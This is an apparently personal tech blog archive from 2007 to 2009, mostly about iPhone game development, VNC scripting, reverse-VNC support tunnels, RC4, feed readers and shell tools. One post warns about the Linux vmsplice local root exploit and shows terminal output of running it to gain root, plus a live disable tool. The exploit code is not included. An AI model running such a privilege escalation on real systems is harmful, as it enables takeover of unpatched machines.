3D iPhone Development - What do you need?

November 8th, 2009 I had a interesting request recently. Is development for the iPhone/iPod touch a good idea? Is it worth it?

Well, as usual if your idea is not that great, then probably not. On the other hand if you put some effort in it and you realize something interesting, then probably yes! If you see games being developed (or better ported) like this then you will realize that this thing is far from just a telephone. Its a fully fledged hand-held gaming device! Interesting enough, how did Sega manage to release their game so fast? Whats going on? What do I need?

iPhone Business in general

Like all embedded devices the half-life time of an software application in the iPhone world is rather low. Studies so far have found that people tend to use free software (no costs) roughly once or twice and then loose interest.

Of course such a generalization is not without exceptions. You can exclude this behavior for everyday utilities (e.g. twitter, mail) and especially games. The Apple iPhone application store is growing rapidly an so are the users. The Sales in this field are sometimes very impressive if you have a "good" idea. (Sales currently roughly ~3000USD/day, app cost 1 unit == 0.99USD)

iPhone Business in Japan

Let me briefly digress for our domestic market in japan. Sales in the past have for the iPhone ranged from roughly 300,000 units per year. This is a lower estimation and will now sharply change as Softbank gives away the devices for free.

In the rest of the world the device has a "viral" effect meaning that sales are going very, very, good. As a direct result so are also the sales for top ranked applications in the "app store".

There was a recently a interesting article about "japanese hating the iphone" which turned out to be wrong. Ref. here (In this referece there are also sales numbers.)

Application Sales

Here is an interesting article how to estimate sales from iTunes ranking. Unfortunately apps can't be too expensive, See this. How much monkey can you idealy make? Super Monkey ball is priced at 9.99USD because Sega has a lot of assets to support this low price vs. dev costs.

iPhone Application Development in General

Bascially the iPhone is a COCOA based handheld device running XNU (also called, MacOS, stipped version). Building an application which is based on using the iPhone provided API is fairly easy and fast. The API itself provides nearly no capsulation of the OpenGL ES interface (stripped down version of OpenGL for Embedded Devices) which means that you can work with it directly to build an application (XCode).

If you write everything from scratch and use no tools like game engines, it will initially take some time to abstract the OpenGL ES interface to your requirements. One full-time developer maybe around 2-3 weeks. Parallel to this the developers can work out UI flow, Gameplay, Program structure (e.g. UML, State diagrams etc. for core concepts). After that you can start with your product desgin implementation. The time here again, depends on the complexity. Monkey Ball was ported not re-implemented which saved a lot of time.

Game Engines

The problem with a complex game is that you need many components like a Physics engine and a 3D Game engine in general, scripting support and so on.

You could rely on tools helping you for this process, e.g.

Case Study, Monkey Ball

Sega of course has all this already, in the case of Super Monkey ball they just needed to port their code to the iPhone system. (This is the reason initial development was so fast).

Monkey Ball from Sega exists already since quite some time.

I think their game engine is C or C++ based and easily convertable to other platforms as they tend to support C. So if you want to write everything from scratch, it will take more time.

OpenSource Example

A sample application using OpenGL ES (OpenSource) and the iPhone API, Molecule (please note that even though the name of the file is .tar.bz2 the file is actually an tar.gz) A description is for instance here..

People

I think the most important aspect of the iPhone/iPodTouch are the usage of the accelerometers. See this for instance..

Finding iPhone developers (programmers) currently is difficult I think, they are still rather rare. The core competencies here are,..

Programmer:

Artists

Useful/Mandatory Tools

Hardware

Licences

Supplemental

Rough Estimation

Sega's team used to port a simple working example from their Monkey Ball product to the iPhone 2 Weeks. They had a working engine, professional developers and artists. So what do you probably need for the average 3D game on the iPhone?



To give a good estimation, it must be pretty clear how complicated the application will be. Then maybe you could make a valid assumption of how many (mythical) man-months you would need.

What do you think? Where am I wrong? What did I forget?

VNC Robot

October 8th, 2009 Today at work I had a interesting request. Make a screenshot of a Flash application and send this the customer by mail every 5 minutes or so. First I though that it would be best to utilize some Actionscript with PHP/GD. This was ok but the other guys seemed to prefer some other hack. So I came up with using something like Browsershots, or some CutyCapt/IECapt, Python, Django combination. This seemed too complicated though.

So I finally settled with using VNC Robot. This thing is actually really funny, its like (shudder) Windows Scripting Host in VNC. Perfect!.

Originally I also looked into Ruby/Mechanize and other alike but with Flash thats a problem these days...

Here is a sample script I created and other nifty examples can be found here.

# Open Firefox from start menu
Mouse move to=x:145,y:755 wait=1000
Mouse click count=1 

# Go to location bar
Mouse move to=x:262,y:65 wait=1000
Mouse click count=1

# Go to webpage
# Press Ctrl+l wait=1000
Press Backspace count=20
Type "http://10.0.0.9" wait=1000
Press Enter wait=6000

# Go to login form
Press Tab wait=1000
Type "usernamewashere" wait=1000
Press Tab wait=1000
Type "passwordwashere" wait=1000

# Skip over the "Do you want to remember password question"
Press Enter wait=1000
Press Enter wait=1000

Wait 10000

# Take a screenshot and send it to John
Screenshot /tmp/stock.jpg

Sendmail subject="XYZ Application stock on {_DATE}" from="root@yourmachine" to="foobar@blahblubb.org"
 server="localhost" attach="/tmp/stock.jpg"

# Close the browser so that we can rerun the script safely
Press Alt+F4 wait=500
Press Alt+F4 wait=500
The result looks like this (scaled down).

Erlang EEP7 on R13 VM?

April 27th, 2009 I happened to run into Alceste Scalas in the Erlang IRC channel and I asked him about his EEP7 implementation and R13 compatibility. Seems that it will be soon also running on R13 !

02:54 < _br_> alceste: nice, good to catch you in the irc. Hey did you happen to get your ffi things running on 
              R13 or R12 ?
02:55 < _br_> alceste: sorry to bother you with this :\
03:10 < alceste> _br_: not yet, but some guy on the erlang-questions mailing list was able to port the patches 
                 and (apparently) make them work
03:10 < alceste> _br_: i'm going to verify it and release updated patches ASAP
03:17 < _br_> alceste: Thank you ! Thats really great :)


Erlang-Questions Mailing list reg. EEP7 on R13A.

Remote VNC Connections - Make it easy for users

February 25th, 2009 Do you often need to help friends or family with their Windows system? Something broken on their system and talking them through is just totally impossible? Well probably you like this then. Let them install VNC, e.g. RealVNC. There is a free edition, so make sure they don't install something else.

After that the only thing they need to do is right click on that VNC logo in the Statusbar and select Add remote client. That option is really neat. It lets the user open a reverse connection to an given IP/Port combination, so all that trouble with their firewall or router doesn't matter anymore.

Of course to make things work you need to give them a valid URL or IP combination so that they can connect to. e.g. mydomain.com:5500.

I myself sit behind a NAT'd and routed connection which makes direct connections no good. So I often just SSH tunnel myself to a remote machine for this purpose. The magic to make this happen is that you open two consoles, one for your vnc and another one for your tunnel.

The commands you will need are

The first command basically just opens a vncviewer application in listen mode for inbound connections. The second one is a simple reverse tunnel to the machine at user@mydomain.com where every connection to port 5500 is sent back to my machine. Of course this will only work if you are allowed to do that and if the firewall on mydomain.com is not configured to do something else with :5500 traffic.

Voila! Your user can connect to your connection allowing you to solve their problems more quickly, saving you alot of nerve.

If you are like me and you still like to save more keystrokes, maybe this screen config will come in handy.

% cat bin/screenvncsessionconfig 
screen -t "ssh" 1 ssh -Nv -R 0.0.0.0:5500:localhost:5500 user@mydomain.com
screen -t "vncviewer" 2 vncviewer -listen


For your e.g. Zsh config use this:

% which remotevnc
remotevnc: aliased to ssh-add; screen -S vnc -c /home/br/bin/screenvncsessionconfig


Good Luck !

Digg Architecture

February 18th, 2009 I stumbled across this QCon presentation of Joe Stump who is Lead Architect at Digg. He talks about their architecture and what they did to get the horizontal and vertical scaling done. If you have no idea about how to scale sites from thousands to ten thousand requests a second, never looked into Amazon or EBay scaling and you are not afraid of learning new stuff then this might be very interesting for you.

Further reading:
Further viewing:

Anybody has some other good links?

RSS Reader Extreme: NewsBeuter a Mutt-like Feedreader

February 17th, 2009 You read RSS Feeds right? Well, if you don't know what RSS or ATOM Feeds are then maybe you should check out the Wikipedia pages first.

I don't know what kind of feedreaders you use, but I liked for some time liferea. That was rather a hate/love relationship because I was never really fond of the need of using my mouse to read something. This is were NewsBeuter comes into play.

Its a feedreader which follows the Mutt-like philosophy and allows you to quickly skim through your feeds hitting only ``n'' on your keyboard everything on a curses based CLI. This thing is pretty feature complete (version 1.3+) and it is good enough for painless reading experience, heck you can even use tagging and advanced search functions.


(Screencast of v0.2)

Debian GNU/Linux currently has the 1.3-1 binary into their package repo so there is no need to build that thing for yourself. (its easy though). Oh, did I forget you can pipe the feeds into your own scripts to change the content/markup to your own needs? Nice, no more website loading :)

Seriously, if you wanted to increase your productivity - go check it out.

RC4 Stream Cipher alone secure enough?

February 10th, 2009 Recently I had a discussion with a good friend about RC4 and if it is still to be considered "secure" ?

If you search around you will find that the Algorithm is still used very widely but often only in combination with other techniques like RC4-HMAC (hello! Microsoft), RC4-MD5 etc. This document for instance from RSA Labs for instance is posted in the ``History'' section of their Homepage. This has a good reason.

The OpenSSH guys already kicked this Cipher out during development of early versions when they realized that SSH-1 used this Cipher wrong. This Cipher was also used in the e.g. WEP Protocol and was a disaster. (read: real-time decryption)

Now you will scream foul, we already know all that. For that purpose we have RC4-Drop ! It avoids all those bad, weak, keys and works fine. Cryptographically secure.

Admitted, you create a more secure version of this flawed Algorithm. I mean if you take into account all recent papers on Cryptanalysis and monkey-patch your Algorithm to drop at least 3^H256 byte, figure out the weak keys from a generated subset (ref, many more papers until 2008) and then also make sure that you don't transfer too much data with this key, then you are probably on the safe side.

Let me ask this curious question, why do you want to use this Cipher? You will probably tell me you need alot of speed in your application and you don't care that projects like eStream and alike have been created (anno 2004) to address these problems? See Rabbit. This thing is really neat!

On the other hand if you really go with standard these days you will probably pick AES (128-bit) in Stream mode. I'm not a crypto expert so please be kind with your comments.

Other references:

Mephisto and Dates

February 10th, 2009 Sorry for the weird behavior of my blog recently. I somehow managed (I'm still unsure about how) that the article dates reverted to February instead of its original January. Hey, is there a XSS again out there for Mephisto blogs? Please let me know.

Autojump, or a "cd" that remembers.

January 22nd, 2009 You are going to love this thing, believe me. You work on the CLI and jump always around from directory to directory? Well, you tried "Ctrl+r" I suppose. Frankly, it sucks. Sure you can cycle through the items but its just to stupid. We all want to save keystrokes so try this instead:

Sh/Bash Shell Users: Autojump j.sh implementation.
Zsh Shell Users: Autojump j.sh zsh port.

Original idea came from here: AutoJump.

So how does it work? Well download the script according to your shell and source it. Meaning either put it directly into your .zshrc or .bashrc or source the file. Then just work normally for some time, cd around like you normally work. Now you can do a j regex instead of cycling through the history with ctrl+r. The script will guess what you want ! Neat..

UPDATE: See the comments for a interesting suggestion from Martin, about WCD (http://www.xs4all.nl/~waterlan/).

A true WTF Microsoft style

February 20th, 2008 Meet the Force

It doesn't happen very often that I see stuff which will make me speechless or just *really* give me this strong WTF feeling.

This one though which I stumbled upon did a great job.

What will be next?

The arch enemies GNU/Linux troll, MacOS imp and the ugly UNIX beast in the list? What do you think?

PS: For more happenings like this I recommend this reading literature for further study ;)

Linux Kernel exploit for 2.6.17 up to 2.6.24.1

February 11th, 2008 Today I encountered some serious exploits floating around in Full disclosure, Bugtraq and even Slashdot.

Better monkey patch your multiuser machines fast, before the script kiddies get a grip on this...


[0:07][br@gemini:programming/linux/exploits]% ./exploit 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f9e000 .. 0xb7fd0000
[+] root
bash: 0STY: command not found
root@gemini:~/programming/linux/exploits# whoami
root
root@gemini:~/programming/linux/exploits# 

Beware of the live memory fix as some people experienced memory faults and system breakdowns.

[0:13][br@gemini:programming/linux/exploits]% ./disable_exploit 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fa8000 .. 0xb7fda000
[+] root
Exploit gone!
[0:14][br@gemini:programming/linux/exploits]% ./exploit 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f7c000 .. 0xb7fae000
[-] vmsplice
[0:14][br@gemini:programming/linux/exploits]% whoami
br


Update:

For more indepth analysis of what has been going on why, what, etc. find a nice LWN article here.

Internet Explorer 8 passes the ACID 2 test

December 20th, 2007 Microsoft Internet Explorer 8 passes the ACID 2 test.

IE8 ACID2 Result

Yes, you read right. I can't belive it either. All those hours and hours of monkey patching and conditional CSSing will this really be a thing of the past ? This is for me as a hobby and freelancing webdeveloper just plainly - incredible.

Finally M$ seems to have managed it back on the standards path proposed by the Webstandards advocacy group (and the rest of the world). This has to sides of a coin. It's good for webdevelopers but bad for our OSS friends on the browser front. From a quote on the webstanards.org page:



Here are some results of other Browsers regarding this test.

Is there light at the end of the tunnel ?

In their blog post Dean Hachamovitch writes something which gives me a good and then a very bad feeling though.



By all means how can you keep backwards compatibility to something (<= IE7 ) which is plainly just broken ? If Microsoft really takes it serious about dominating the browser market they need to break with the past sorry excuses for a browser. Hey I know I am just critical right? Please don't listen to me, even the guys who are developing this thing said the same. Quote:



It's great though that there is finally something happening about this ! I really hope they can pull this stunt to stay compatible to the total crap^W^Wnice IE5/6/7 tuned pages as this will save a lot of developers more nerves. Otherwise I rather like to forget all about those ugly hacks which I learned over the time for those releases of IE.

Fellow developers beware seems we ought to take this browser ,serious' again ?
1 comments »

VMWare on strike

June 7th, 2007 Weird problem at work today ! After 297 days of fine uptime the VMWare instance on one machine crashed without any apparent reason. It got ,,funny'' after tickets started pouring in and VMWare gave me this answer while trying to restart the image.

    Unable to change virtual machine power state: Failed to connect to peer process.

After a quick research on the net I found several possible solutions working on Debian GNU/Linux. Some of them pointed out that low disk space was the reason others wrong permissions.

Disk space was fine on my machine and permissions ? Come'on why should VMWare change that on the fly ? After a image backup and a chmod u+s vmware-vmx everything worked fine again.

Weird Software^W !